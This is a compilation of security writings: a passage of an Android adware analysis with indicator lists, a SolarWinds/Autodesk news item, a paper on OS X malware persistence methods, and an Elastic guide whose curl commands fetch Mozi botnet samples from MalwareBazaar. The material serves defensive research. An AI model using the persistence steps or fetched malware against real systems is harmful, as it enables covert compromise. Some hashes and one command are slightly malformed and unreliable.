- James Tange: [email protected]
- Socialmessengerapp: [email protected]
- Laverneishipwreckm115: [email protected]
- luis gallegos: [email protected]
- trumpeter.wiy6789: [email protected]
- Adriana Duleva: [email protected]
- Steps Pedometer: [email protected]
- thayrelqyckcSocial: [email protected]
A strong indicator that these applications are linked is that most of them have the same distinctly unique pattern of words used for the certificate details with which they are signed.
### Certificate Details
- **Country Name**: US
- **State, Locality**: <Random US state>
- **Organization, Organizational Unit, Common Name**: CorpLtd<Timestamp of approximate creation>Ltd
### Example Applications from Different Developers
- **Status Saver**: C=US, ST=New York, L=New York, O=Corp1584509501892Ltd, OU=Corp1584509501892Ltd, CN=Corp1584509501892Ltd
- **Quick Launcher For Apps**: C=US, ST=Florida, L=Florida, O=Corp1576154534422Ltd, OU=Corp1576154534422Ltd, CN=Corp1576154534422Ltd
- **Fast Downloader – Download social videos**: C=US, ST=Florida, L=Florida, O=Corp1576828043681Ltd, OU=Corp1576828043681Ltd, CN=Corp1576828043681Ltd
Some light connections could be concluded from the email addresses for support contact and the privacy policies. All the privacy policies are hosted on sites.google.com and we can observe a mild pattern in the email addresses used.
From a code structural point of view, the applications have the same distinct, heavy code obfuscation and string encryption mechanism. This obfuscation is applied both to the normal code of the application and to the adware component. The adware component, present in all apps in some form or another, focuses on displaying ads from Google and Facebook.
Another similarity is in the user interface of the apps. Many of them share the same visual characteristics and structure.
## Behavior
While interacting with the applications, the user will receive a new ad every few taps. Some older versions of the apps didn’t even find the time to remove their testing tags in their rush to get on the market. The type of ads varies from general topics such as shopping and travel to app recommendations, and they come both in banner and full-screen modes.
The advertised functionality of the apps is generally lacking. Basic at best and broken at worst, the apps are of inferior quality, with missing parts in their implementation and occasional crashes.
## Code Analysis
Our analysis focused mostly on APK MD5 dcb5b8d8270b4a51a7702fa716ff9bc2 (launchserfor.apps), given that it presented most of the features of the SDK and is one of the versions currently available on the Play Store. The code is heavily obfuscated, and strings used by the app are encrypted using the DES encryption algorithm. Virtually nothing is left as plain information and some of the classes are hidden even in legit packages such as android.support and com.facebook.
Interestingly, in an initial test version of the adware, we found that the threat actors might have planned to confuse the user by switching the position of the “agree” and “refuse” buttons when prompting for access to notifications. This SDK version (among others) has the code to ask for the permission to read all notifications. This is one of the most sensitive permissions the Android system provides, since notifications can contain any type of data, from contact details to text messages to OTPs that are used to pass MFA – even banking data in some cases.
However, none of the samples we analyzed reach the code to do so as of yet. If this part of the code wasn’t dead, however, the inconvenience of the user who is the target of too many ads is suddenly one of the lesser problems since, once received, the notifications are promptly sent to the APK’s command and control server: in this case, hxxps://t.lineranalysis.com/api/APClient3/.
The service `androidx.media.ckwtik` extends the NotificationListenerServices class belonging to the Android SDK. If the app has the required permission, overwriting the `onNotificationPosted(StatusBarNotification)` method will give it access to the device’s notifications and related information. The analyzed app never reaches the part of the code that requests the permission from the user (probably due to the app still being in development). However, if, or when, it reaches that part, it will use it to leak all the notification data to the server.
Two of the apps currently up on Play Store have this type of functionality implemented, namely `com.forasocial.messengers` and `launchserfor.apps`.
Another interesting part of the SDK is where it provides a large support for JavaScript. Besides having a class dedicated to exposing functionality through JavaScript interfaces, it goes so far as having the functionality to execute any script received from the server.
The app also sends generic information to the server, such as the list of installed applications, the device’s android ID, the app’s package name, the type of network, the sim operator, whether the current app has certain functionalities implemented, logs, timestamps, and status checks.
## Command and Control
| Application | Server |
|-----------------------------------------------|------------------------------------------------|
| com.downloader.getvideofastss | hxxps://api.socialvideodownloader.top/ |
| com.anymail | hxxps://api.sportcounter.top/ |
| com.downloadmanager.filemanager | hxxps://api.instragramvideodownload.top/ |
| com.satatusdownload.saverstatus | hxxps://api.instragramvideodownload.top/ |
| com.savers.insta | hxxps://api.instragramvideodownload.top/ |
| com.parallaxcolor.fourdx | hxxp://api.wallpaper4k.top/ |
| com.wallpaperlive.fourd | hxxp://api.wallpaper4k.top/ |
| com.musics.videos.aaplayers | hxxps://api.supervideoplayer.top/ |
| com.media.musicsvideos.players | hxxps://api.hdvideoplayer.top/ |
| com.privacymsger.social | hxxps://api.privatemsg.top/ |
| launchserfor.apps | hxxp://t.lineranalysis.com/ |
| com.launcherj.quick | hxxps://api.launcherfor.top/ |
All of the CnCs are under the same registrar, namely the Chinese company Alibaba Cloud.
## Attribution
While we cannot be certain of the origin of the developer(s), most privacy pages for each developer have their tab title in Chinese (either 首页 -Homepage or 住宅 – Home). Many debug messages (logs) inside the applications are also in the same language and all of the CnCs are registered in China.
## Telemetry
The family seems to be most popular in India, Korea, and the US, although we have seen it in the wild in many other countries, too.
## Conclusions
Aggressive adware may not be as damaging or as intrusive as malware, but it could affect the overall user experience with the device and even battery performance. Constant popups, redirects, and unwanted messages can make for a horrendous app and user experience.
To avoid exposing your device to any online threats, malware, or even aggressive adware, it’s recommended you always use a security solution to prevent these apps from reaching your device and to flag any suspicious behavior. It’s also important to always download apps from official marketplaces and read user reviews carefully before installing any application on your mobile device.
A mobile security solution will also keep you safe from online threats, such as fraud, phishing, or scams gunning for your private and financial data, as well as from malware.
**Note**: The full list of apps identified throughout this investigation has been reported to Google. At the time of writing, the apps are still available in the Google Play store.
## Appendix – Indicators of Compromise
### APK MD5 Hashes:
- 36487995b2065b4c50db0974fed86b6f
- 0521f9fbbfa412df9b2b7bbe179b9473
- 5c45693b45a7bcba9862fad05fa53854
- f06b04bc39b8cc6a3d71b7f14436cb45
- 1f50aebf88ef1891088a741e7f8710f1
- c0e0f9da83321bf7fc342427c11515d3
- 8c7d408765ca39ef8df036b5ee2e02a2
- c8026f8ae36cdeb19ab0ac88fa19c39c
- 0dc755c930f04d94cc766cc24b22fe86
- 9cb6249d87fee006c277bfa2cb1f6cff
- 81752036b124ed316f5d40490cab5c33
- 5f3a4f99c0dc1c5a961b6a7465d31408
- 57973e7a0cd393ba0b78f23cd558b1ab
- 3b431fb2299304db1dc9ccb6f5fc453b
- 9d5acfcbe4aa035230d257a6932705ff
- 7b896feb1121e5ce7202ac4871dc14cd
- e0d4b92c2567affb0705af955b9518e1
- 940f5c8a2a3bd0760ce20365ed0365a9
- 7363abef6b9f595e77b5494953bf0d35
- a43885932b670d0cb022872c603ec122
- f19bae00c088333f33c19a516d8d527f
- 3750e5cfa1695617c4e597891bb4e809
- 7cb00fe0d04899d4227e59d29f3b6410
- 2bad3244b6506dc5e0faf1e436a5d6a5
- 46438d17e70b5165ea11c73766a495e0
- 28a078d2a500f5bfe58962e1fea1d41b
- ab05e56aa27d070ed1f34409eb0842aa
- 6f5bf6bf43bf029fb254d2fb782c7a32
- 14550303bb4b268c689bb4293dcee289
- 941005fc40e55899dd3c553eb1df8388
- 71b6dbcf8acc6d6c6cf3166e61f2feaa
- 57990383fbaf2e49e0880cb100a8fd62
- 5ff61232930ec75b376d231bb39423fa
- a6bdf0db60c64d25bd250b3b4ca737d0
- 526183c16a1005b55ae0e6389a149910
- 236d3841db80b4d6e1afd50cb92ba715
- 742de75afaeeafaf75b2273fa36bf34c
- 17bc83ed0eb5ed77bffbae8c4abb3501
- bc7df772eb37c89b64a72a757f2ca1d5
- 1f78f59f1c31d819c03bcf8a2cc5cb96
- ef5b9274e33427103eecfccd82d0dc5b
- d4d99873da43d32d7a0be2b6811e15ea
- 8dd38018890aeba739c938916e7f3727
- 7566614c18be0b4c23d2dbb2bc420c0f
- c1018ae80f622230c5349ce8a8dc2562
- cdec7e300cfdb64555a217d8f51d306f
- 8784395fdb7ed648ce152ef1173a53a2
- c6cb9e55cadfcb7deb591f3ac0f9d240
- 78f0ee320f66a7a5de5194e7cb873008
- 148f7508a35dc495f5b2ceaa707e1030
- 0903a1b8ed6114aadd83d23a53142ef9
- bc57bb1e74e4d0b34d2fcd4b69e4118a
- b0dc18176ac18fcae18fe61b8a397f44
- acc27a14f036bdd47438ea09908fcd69
- 2d68ee4649b08776410413370e7964fc
- 49719467dbcdee0d4d564a4128fabe99
- eaad6f16e5ae3075f61724f66ce70ed1
- 80ce85bda2994d6e5c2eb63233a2b79b
- e5df2cdb7a2dcd3f6d0644bc34d6035f
- 5c9f220fed5f1b1b93d18d9c30d4b2bc
- 2f65925a529cd087dde2a51ba29b16b4
- a64ab2b9af4336855b7344c80acbafb3
- 2ac54ab36509708b448171395bf50252
- fc2586fdb1dc56c509100396ebb5467f
- f37e23894e8b0d085467742d18c26d46
- 2ec708356094d19279b448211f89fd61
- 7be64c2e869275cf704ad0bd7262796c
- 82df2839432212a2e682cd8eb73bb230
- 9009c214baba186a002c4be90e8127d8
- 331021d1fb3d8e2fa7de70823b7b224c
- 15c1e76705f79399276fd634574104df
- adc1b0765a684c8c00118522631714dd
- c457219c54f425b4e60e5ac7f2a1d2d3
- 3647f740aefbdfc97c329ae26c86b63e
- 8f6b7efbb1d3e2f1a0f32ca8fc3aa483
- 42db70cc7660861991c40860cdf3ffe7
- e3d6ee9a01ff9f27dd12d33b6a7b66b9
- eec3889e812dc733b53bb9b32f33eb31
- 3ca64f55b1e5000ce600034cb873054f
- 8e7d907575414d2ca20f8122d17a9580
- 16294f6c77a0aa2c61de46489fcc3417
- 2f3dcf62ac985031d358b884fd86fbf5
- b7566506a04cf1effce9359e67df5284
- b779509aeb066a972cec186d0e3dccc9
- 7fcfb98375adaa6cc484cffcd41ffd2f
- 2e692aa6c2377945820a789b98ce634c
- 4f223794e570e94847687cd9ae881785
- ea263aa74636cb87e7aead38e61c00c6
- eb01328331c81b3927d541319164a56f
- 546685dec288952a22c4efa496ccc521
- e9a9b97d00b9efddc39f40e8ddd6da3c
- 3f498d697124835ba2a7d6a839230940
- 04251025526323c6e8636a3b7c7efe6d
- 04fde6a4a460a11568bc3793d7553ddb
- 110d0715aff2784ced69a764fc8d86e3
- 38f10ea49a67dc5e3c42043084a0211c
- 2b06157a8ab0de9618d96a4ae2504903
- 6ff847acfb29d7a7f853a0ef98520710
- b08502b468552c8308453836ce2ba908
- bb69edf88caa0420b50f18964810b27c
- 7443a2a4cfa5d9b69bbabaaecaf8edcd
- e6c4b93dbe903784bf5df76282809c04
- 75c5e732e6b5f9580fe156725ff47321
- b292d17f4eef5e9e361179e20ac67f38
- a7340df9ccd24fe4529c44126cb7a952
- 49346b10a892faf7e246f0b98040206d
- ae5fe2a3f788c508f8d2a9313c4799e1
- 63afd29c5e925b8cd647823aa1641ecb
- 55492be0e297acd00594dbe5b5b90666
- e9f555a6f587cad979dc0367d3444b2c
- 5f810b3bc3d582f1de92d7ca55f09d9
- bddc6394578c3f15a8159f8202bf60a2
- 37586a958e79422c2fca5cf0c174e86d
- b87ce146d5d0b64621ab82b99d883d96
- e0464e6c76345abdf2737ccb1a20fb64
- 3d17207d51936eca87b880266ab67bf8
- 5eabf15cf655eddfc8263eda217245e0
- dfbf7e7ce5afb1e353dd7f657a24f26e
- 73c52e130eeaff9d37152abe24ff407d
- cb0eed06e33a4e77eed4e11b9ec5ed3d
- 93b47b013506190d48f60131b85f136a
- 29a9eb6c816bf5581ba3196fb1a96e5c
- b3d95a2d35ee62e6839411d5d079272b
- 3a536cdf086ee98dd184c53bd64e4ffd
- e3633ddfc0b349fd435d473c517c9e96
- b4d3fe5894ec7e288f83349557f0b60a
### Samples with Notification Listener Behavior:
- 17da5d1d5dd214f7d9534d5af4a91e02
- 8c7d408765ca39ef8df036b5ee2e02a2
- 1f78f59f1c31d819c03bcf8a2cc5cb96
- dcb5b8d8270b4a51a7702fa716ff9bc2
- a64ab2b9af4336855b7344c80acbafb3
- 60a388fb455c1b4eee30897a02351bdf
- b292d17f4eef5e9e361179e20ac67f38
- 236d3841db80b4d6e1afd50cb92ba715
- befa712bb030544b4087bbd995e7ba48
- 40bdb44d3025148503c88e3db483f447
- a6bdf0db60c64d25bd250b3b4ca737d0
- 5ff61232930ec75b376d231bb39423fa
- e3633ddfc0b349fd435d473c517c9e96
- d4d99873da43d32d7a0be2b6811e15ea
- 88549869c0110e54ec752dbd1e5f66aa
- 2fab42d7fc54e5529ed7e6ad4ecbbb1a
- 04fde6a4a460a11568bc3793d7553ddb
- 3a2c4b62e15791bc058f14172ecadcc1
- 1806c80dfee83f3bdcb6a753218e8a71
- 17bc83ed0eb5ed77bffbae8c4abb3501
- 5c9f220fed5f1b1b93d18d9c30d4b2bc
- 71e5e432a28796f11351e15ba2ff91e2
- 75c5e732e6b5f9580fe156725ff47321
- 0ccdaa72dfb815defd0ee529f7a386ce
- 9ccaff01cc40a6ee154dacc28acb742c
- 12682388937f482770c8a21cd7794352
- eb01328331c81b3927d541319164a56f
|
# Autodesk Reveals It Was Targeted by Russian SolarWinds Hackers
Autodesk has confirmed that it was also targeted by the Russian state hackers behind the large-scale SolarWinds Orion supply-chain attack, almost nine months after discovering that one of its servers was backdoored with Sunburst malware. The US software and services company provides millions of customers from the design, engineering, and construction sectors with CAD (computer-aided design), drafting, and 3D modeling tools.
"We identified a compromised SolarWinds server and promptly took steps to contain and remediate the incidents," Autodesk said in a recent 10-Q SEC filing. "While we believe that no customer operations or Autodesk products were disrupted as a result of this attack, other, similar attacks could have a significant negative impact on our systems and operations."
An Autodesk spokesperson told BleepingComputer that the attackers did not deploy any other malware besides the Sunburst backdoor, likely because it was not selected for second-stage exploitation or the threat actors didn't act quickly enough before they were detected. "Autodesk identified a compromised SolarWinds server on December 13. Soon after, the server was isolated, logs were collected for forensic analysis, and the software patch was applied," the spokesperson said. "Autodesk’s Security team has concluded their investigation and observed no malicious activity beyond the initial software installation."
## One of Many Tech Companies Breached in a Large-Scale Hacking Spree
The supply-chain attack that led to SolarWinds's infrastructure getting breached was coordinated by the hacking division of the Russian Foreign Intelligence Service (aka APT29, The Dukes, or Cozy Bear). After gaining access to the company's internal systems, the attackers trojanized the Orion Software Platform source code and builds released between March 2020 and June 2020. These malicious builds were later used to deliver a backdoor tracked as Sunburst to "fewer than 18,000," but, luckily, the threat actors only picked a substantially lower number of targets for second-stage exploitation.
As a direct result of this supply-chain attack, the Russian state hackers gained access to the networks of multiple US federal agencies and private tech sector firms. Before the attack was disclosed, SolarWinds said it had 300,000 customers worldwide, including over 425 US Fortune 500 companies and all top ten US telecom companies. The company's customer list also included a long list of government agencies (the US Military, the US Pentagon, the State Department, NASA, NSA, Postal Service, NOAA, the US Department of Justice, and the Office of the President of the United States).
At the end of July, the US Department of Justice was the latest US government entity to disclose that 27 US Attorneys' offices were breached during last year's SolarWinds global hacking spree. SolarWinds has reported expenses of $3.5 million from dealing with last year's supply-chain attack in March 2021, including remediation and incident investigation costs.
|
# METHODS OF MALWARE PERSISTENCE ON MAC OS X
## Patrick Wardle
Synack, USA
Email: [email protected]
### ABSTRACT
As Mac OS X continues to increase in popularity, OS X malware (once a rare phenomenon) is now more common than ever. Therefore, it is essential for cybersecurity and malware analysts to possess an in-depth understanding of OS X and how it may be attacked by persistent, malicious code. This paper presents a detailed analysis of Apple’s anti-malware mechanisms (revealing several significant weaknesses), before diving into the bowels of the Mac startup process. Here, points of persistence are detailed comprehensively. Following this, examples of OS X malware are examined to illustrate how code may abuse the OS in order to achieve reboot persistence. Finally, a novel open-source tool is discussed that can enumerate and display persistent OS X binaries that are set to execute automatically upon reboot. Armed with such a tool, users can ensure that they are protected against both current and future persistent OS X threats.
### BACKGROUND
Before diving into methods of persistence abused by OS X malware, it is important to understand why such a topic is truly relevant. As is obvious to even the most naïve amongst us, Macs have become more prevalent than ever. According to a recent study by the International Data Corporation (IDC), Apple is now the number three US computer vendor, making up almost 15% of computer sales. Moreover, if ‘iDevices’ (iPhones, iPads, etc.) are added to the equation, Apple devices outsold Windows PCs globally in Q4 of 2013. One of the driving forces behind the increased adoption of Apple computers is the notion that OS X is immune to malware. This claim was propagated by Apple, who claimed ‘[Mac OS X] doesn’t get PC viruses. A Mac isn’t susceptible to the thousands of viruses plaguing Windows-based computers’. Ironically, the first personal computer virus discovered in the wild (Elk Cloner), was a Mac virus that infected Apple IIs. Since then, Mac malware has flourished. Just last year, over 30 new OS X malware families were discovered, some infecting the corporate systems of companies such as Apple, Facebook, and Twitter.
### APPLE’S ANTI-MALWARE ENHANCEMENTS AND THEIR FLAWS
In recent versions of OS X, Apple has introduced a myriad of security enhancements which aim to thwart malware. Examples of these enhancements include: XProtect (Apple’s built-in anti-virus solution), Gatekeeper (which verifies downloaded software), sandboxing (which prevents Mac Store applications from accessing OS-level components), and signed-code requirements (where signatures are verified and only signed kernel extensions can be loaded). While these are spun by Apple’s marketing team as proactive security measures, in reality they are more reactive and act as an acknowledgement of the persistent OS X malware problem. Moreover, while they are a step in the right direction, many of these security enhancements are trivial to bypass.
#### XProtect
Apple’s attempt at an anti-virus product is internally referred to as XProtect. Implemented within the CoreServicesUIAgent, it uses signatures from `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/XProtect.plist` to detect OS X malware. The highlighted entry in XProtect aims to detect the OSX/LaoShu.A malware by matching a SHA1 hash and a filename (‘worty’). While the benefit of such an exact match/detection scheme is zero false positives, there are several major downsides. For one, a slight change in the malware (the renaming of a file, or a recompilation to change the hash) will prevent a match, and thus detection, from being made. The malware will remain undetected and will be able to execute. Another obvious downside to XProtect’s signature-based malware detection scheme is that new malware will never be detected. Besides the weaknesses in the detection scheme used by XProtect, it is plagued by other design issues. In its current implementation, XProtect only scans binaries that contain a quarantine attribute. This attribute is set by the application that downloaded the binary (e.g. a browser), not the OS. This is problematic, as an exploit-based attack that manually downloads malware will, of course, do so without setting the quarantine attribute. As such, these binaries will not be scanned, allowing downloaded malware to execute without fear of detection.
#### Gatekeeper
According to Apple, Gatekeeper helps protect Macs from malicious apps that are downloaded and installed from the Internet. However, Gatekeeper is fairly limited in the attacks it can prevent. Specifically, it is limited to only preventing attacks where users are coerced into downloading and installing malicious content (e.g. fake Flash installers or ‘media plug-ins’) from infected or rogue websites. This is due to the fact that Gatekeeper will only examine binaries that contain a quarantine attribute. As previously mentioned, this attribute must be set by the downloading application. Thus binaries downloaded as the result of a ‘drive-by’ exploit-based attack will not be subjected to examination. Interestingly, this is precisely how employees of Apple, Facebook, and Twitter were recently infected by malware which ‘bypassed OS X Gatekeeper protection’.
#### Signed Applications
Borrowing from iOS, OS X now verifies all binary signatures. This is important as it allows the OS to verify that binaries have not been subverted (e.g. infected by a virus). Binary infection is a powerful technique as it affords an attacker a way to persist, hide, and inherit trust. For example, imagine a malicious piece of code that infects Safari. Every time the user launches Safari, the malicious code is also executed (persistence). Since the malicious code may exist solely within the infected binary, no external malicious files or processes are required (stealth). Finally, as the browser is expected to access network resources, malicious code hosted within its process space should also be able to access the network (inheriting trust), even if a personal firewall is installed.
### MAC SYSTEM STARTUP
Before cataloguing methods of persistence abused by OS X malware, it is important to understand what happens when a Mac is powered on. The boot/startup process is somewhat complex, but can be broken down into easily understandable stages. These stages include power-on/boot, kernel initialization, the execution of launchd daemon, and the LoginWindow process. It should be noted that many of the low-level technical details of the startup process are beyond the scope of this paper. However, interested readers are encouraged to consult additional resources for a comprehensive discussion of the entire startup process.
### METHODS OF PERSISTENCE
A decent understanding of the Mac startup process provides the necessary background for examining the ways in which it may be abused to achieve persistence. Before diving in, recall that persistence is essential for malware, as it ensures that whenever a computer is restarted, the malicious code is automatically re-executed by the OS.
#### Low-level/pre-OS X
Starting at the lowest level, there are several options for persistence. While these options are complex, and often hardware specific, they run ‘below’ (before) the OS, and thus are very difficult to detect. Possible low-level options for persistence may include: re-flashing the firmware, installing a malicious EFI component, or even infecting boot.efi.
#### Kernel Extensions
Since code in the kernel runs at the highest privilege level, it is a great place for advanced malware to live. Malware that executes here is often referred to as a rootkit. It is fairly trivial to create a persistent kernel extension that will automatically be executed by the OS whenever the computer is restarted. First, a kext can be created via the ‘Generic Kernel Extension’ template in XCode, as described in Apple’s documentation. It is important to set the kext’s match category (in its Info.plist) to ‘IOResources.’ To install a kext persistently, it should be copied into one of the OS X kext directories: `/System/Library/Extensions` or `/Library/Extensions`. Once copied to an install directory, the kext should be set to be owned by root and, optionally, the kernel cache rebuilt. If these steps are followed, the kext will automatically be loaded each time the OS is (re)loaded.
#### Launch Daemons/Agents
While code that runs in the kernel is very powerful, it is difficult to get right. Running in user mode is far simpler and thus often preferable. Launch daemons and agents are the ‘Apple-approved’ way to persist non-application binaries (e.g. software updaters, anti-virus products, etc.). Both launch daemons and launch agents are commonly abused by OS X malware as a means to gain persistence. Launch daemons are non-interactive, and run before user login. On the other hand, launch agents run once the user has logged in, and may be interactive. Creating a persistent launched daemon or agent is as simple as creating the binary, then placing a configuration property list in one of the launch daemon or agent directories.
#### Login/Logout Hooks
By creating a login or logout hook, a script or command can automatically be executed whenever a user logs in or out. Apple states that these hooks are deprecated, but they still work on OS X Mavericks. The ‘defaults’ command can be used to create such a hook.
#### Login Items
For applications, login items are the ‘Apple-approved’ way to persist. Anything that’s registered as a login item is visible in a GUI, via the System Preferences app. Login items are stored in the user’s `Library/Preferences` directory, in a plist file named `com.apple.loginitems.plist`. This file contains an entry for each login item, which contains the name of the item, whether it should be hidden, and base64-encoded data containing the path to the persistent application.
#### DYLD_INSERT_LIBRARIES
Via the DYLD_INSERT_LIBRARIES environment variable, OS X provides a way to load arbitrary dynamic libraries (‘dylibs’) into a process. Specifically, when loading a process, the dynamic loader will examine the DYLD_INSERT_LIBRARIES variable and load any libraries it specifies. By abusing this technique, an attacker can ensure that a malicious library will persistently be loaded into a targeted process whenever that process is started.
#### Mach-O Binary Infection
Computer viruses are one of the oldest forms of malware. Viruses infect files by injecting viral code in order to replicate. However, this viral code can also provide persistence: any time the infected binary is executed, the virus code will be executed as well. Since OS X binaries (and applications) can be unsigned, viral infection may be back in fashion. There are many ways to infect an OS X (Mach-O) binary. The simplest method involves injecting some viral code into a target binary, then hijacking the entry point to point to the virus code.
### PERSISTENT OS X MALWARE
While not all of the methods of persistence presented are (yet) abused by OS X malware, many are. The following section examines several OS X malware samples and reveals their persistence mechanisms.
#### OSX/CallMe
A few years ago, somebody (likely the Chinese government) started targeting Tibetan activists with malicious documents that attempted to exploit CVE-2009-0563. The payload of these attacks was named OSX/CallMe. This malware was fairly basic, providing the attackers with the ability to execute arbitrary commands on an infected host, as well as exfiltrating the victim’s contacts (address book). In order to persist, CallMe installs itself as an auto-launched launch daemon.
#### OSX/Flashback
Flashback shattered the notion that OS X was immune to malware. By exploiting a known, but unpatched Java vulnerability, Flashback was able to automatically infect users as they visited a compromised or malicious website. At its height, it amassed over 600,000 infected hosts, making it the most ‘successful’ OS X malware to date. Flashback’s goal was simply financial gain – by injecting ads into users’ web sessions. To ensure it was (re)executed each time an infected computer was rebooted, it installed itself as a user launch agent.
#### OSX/Crisis
According to online sources, OSX/Crisis is ‘an expensive rootkit used by governments’. Delivered via targeted exploits, it provides extensive surveillance capabilities by collecting audio, images, screenshots, and keystrokes. Crisis also employs some fairly sophisticated stealth capabilities via a rootkit (kernel) component that can hide processes and files.
#### OSX/Janicab
Janicab is a somewhat unique OS X malware sample, as it is written in Python (though compiled for distribution). The malware is also signed with an Apple Developer ID, probably in an attempt to hide its maliciousness and thwart Gatekeeper. Since it is written in Python, the malware is easy to analyze and uncovering its persistence mechanism is trivial. As may be seen in the malware installer’s code, a cron job (set to execute every minute) is created to ensure that the malware is persisted.
#### OSX/Kitmos
Kitmos is another OS X malware sample that targets activists. Discovered on an activist’s computer during the Oslo Freedom Forum Workshop, Kitmos takes screenshots and uploads them to a remote command and control server. As the disassembly shows, the malware invokes the `LSSharedFileListInsertItemURL()` function to add itself as a login item for the current user. Once registered as a login item, the malware will automatically be (re)executed by the OS whenever the user logs in.
#### OSX/Yontoo
It is fairly common for malware to use social engineering tricks to coerce the user into infecting themselves. Yontoo masquerades as an ‘HD video codec’ to trick users who visit compromised or malicious websites into installing the malware. The malware creates malicious plug-ins for Safari, Firefox, and Chrome. This allows the malware to automatically be executed whenever the user launches their browser.
#### OSX/Renepo
Renepo is an older OS X malware sample that disables security mechanisms before downloading and executing other ‘hacker tools’ such as password crackers. Since this malware is a script (which helpfully includes comments), it is easy to understand its installation and persistence logic. As shown, it persists as a startup item.
#### OSX/MacProtector
MacProtector is a fake (or ‘rogue’) anti-virus product. When a user visits a compromised or malicious website, MacProtector tries to convince the user that their computer is infected and that they should download an application to ‘fix’ it. Unfortunately, if the user allows the downloaded installer to complete, they become infected with MacProtector. Reverse engineering this malware reveals that it installs itself as a login item.
#### OSX/Clapzok
The previously discussed OS X malware samples are generally all stand-alone binaries or applications. OSX/Clapzok bucks this trend: it is a classic virus that infects binaries both to spread and to gain persistence. It works by injecting viral code into a binary, then hijacking the entry point. However, since Clapzok infects signed apps (without un-signing them), it will likely cause major annoyances and, as a result, will be easily discovered.
### KNOCKKNOCK
Research into persistence mechanisms on OS X has revealed many locations within the boot process and OS startup sequence that can be abused by malicious code. As we have shown in this paper, many OS X malware variants exist in the wild that are abusing several of these persistence mechanisms. Although Apple has introduced several anti-malware mitigations, these clearly fall short, as OS X users worldwide continue to be infected. In order to generically detect persistent OS X malware, a new tool has been created that can enumerate and display persistent OS X binaries. Named KnockKnock, its goal is simple: to tell you who’s there! Armed with this tool, users can ensure that they are protected against both current and future OS X threats. There are many methods of persistence on OS X – and new ones are sure to be found. As such, the open-source, Python-based KnockKnock was designed to use a plug-in-based architecture, where each plug-in can scan for a particular persistence technique. When new persistence techniques are discovered, KnockKnock can easily be extended with new plug-ins.
### CONCLUSION
Even in the latest version of Mac OS X, Apple’s anti-malware mitigations fall far short, allowing OS X malware to become an ever more pervasive reality. However, by thoroughly understanding the Mac’s startup process, points of persistence can be identified, which allow for the generic detection of malware. KnockKnock, an open-source tool, aims to aid in this detection and to ensure that everyday users are protected against both current and future OS X threats.
|
# The Impact of Dragonfly Malware on Industrial Control Systems
Dragonfly malware infected hundreds of business computers in an often successful attempt to collect information on industrial control systems across the United States and Europe. The attack was performed in an orchestrated manner over an extended period of time and used infection methods that were...
By Nell Nelson
January 22, 2016
|
# Collecting and Operationalizing Threat Data from the Mozi Botnet
Detecting and preventing malicious activity such as botnet attacks is a critical area of focus for threat intel analysts, security operators, and threat hunters. Taking up the Mozi botnet as a case study, this blog post demonstrates how to use open source tools, analytical processes, and the Elastic Stack to perform analysis and enrichment of collected data irrespective of the campaign. This will allow you to take the lessons and processes outlined below to your organization and apply them to your specific use cases.
The Mozi botnet has been leveraging vulnerable Internet of Things (IoT) devices to launch campaigns that can take advantage of the force multiplication provided by a botnet (Distributed Denial of Service (DDoS), email spam, brute-force, password spraying, etc.). Mozi was first reported by the research team at 360Netlab in December 2019 and has continued to make up a large portion of IoT network activity across the Internet-at-large. As reported by 360Netlab, the botnet spreads via the use of weak and default remote access passwords for targeted devices as well as through multiple public exploits. The Mozi botnet communicates using a Distributed Hash Table (DHT) which records the contact information for other nodes in the botnet. This is the same serverless mechanism used by file sharing peer-to-peer (P2P) clients. Once the malware has accessed a vulnerable device, it executes the payload and subsequently joins the Mozi P2P network. The newly infected device listens for commands from controller nodes and also attempts to infect other vulnerable devices. Mozi targets multiple IoT devices and systems, mainly focused on Small Office Home Office (SOHO) networking devices, Internet-connected audio visual systems, and theoretically any 32-bit ARM device.
## Collection
When performing data analysis, the more data that you have, the better. Analysis of malware campaigns are no different. With a paid subscription to VirusTotal, you can collect huge amounts of data for analysis, but we wanted an approach for independent researchers or smaller organizations that may not have this premium service. To do that, we decided to keep to our roots at Elastic and leverage open source datasets to avoid a paywall that could prevent others from using our processes.
To begin, we started with a handful of Mozi samples collected from ThreatFox. ThreatFox is an open source platform from Abuse.ch with the goal of sharing malware indicators with the security research community. Using cURL, we queried the ThreatFox API for the Mozi tag. This returned back JSON documents with information about the malware sample, based on the tagged information.
```bash
curl -X POST https://threatfox-api.abuse.ch/api/v1/ -d '{ "query": "taginfo", "tag": "Mozi", "limit": 1 }'
```
This returned the following information:
```json
{
"query_status": "ok",
"data": [
{
"id": "115772",
"ioc": "nnn.nnn.nnn.nnn:53822",
"threat_type": "botnet_cc",
"threat_type_desc": "Indicator that identifies a botnet command&control server (C&C)",
"ioc_type": "ip:port",
"ioc_type_desc": "ip:port combination that is used for botnet Command&control (C&C)",
"malware": "elf.mozi",
"malware_printable": "Mozi",
"malware_alias": null,
"malware_malpedia": "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mozi",
"confidence_level": 75,
"first_seen": "2021-06-15 08:22:52 UTC",
"last_seen": null,
"reference": "https://bazaar.abuse.ch/sample/832fb4090879c1bebe75bea939a9c5724dbf87898febd425f9",
"reporter": "abuse_ch",
"tags": [
"Mozi"
]
}
]
}
```
Now that we have the file hashes of several samples, we can download the samples using the Malware Bazaar API. Malware Bazaar is another open source platform provided by Abuse.ch. While ThreatFox is used to share contextual information about indicators, Malware Bazaar allows for the actual collection of malware samples (among other capabilities). Just like with ThreatFox, we’ll use cURL to interact with the Malware Bazaar API, but this time to download the actual malware samples.
```bash
curl -X POST https://mb-api.abuse.ch/api/v1 -d 'query=get_file&sha256_hash=832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee -o 832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b.raw'
```
This will save a file locally named `832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b.raw`. We want to make a raw file that we’ll not modify so that we always have an original sample for archival purposes. This downloads the file as a Zip archive. The passphrase to extract the archive is `infected`. This will create a local file named `832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee.elf`. Going forward, we’ll use a shorter name for this file, `truncated-87d3b.elf`, for readability.
## Unpacking
Now that we have a few samples to work with we can look at ripping out strings for further analysis. Once in our analysis VM we took a stab at running Sysinternals Strings over our sample:
```bash
$ strings truncated-87d3b.elf
ELF
*UPX!
ELF
$Bw
(GT
...
```
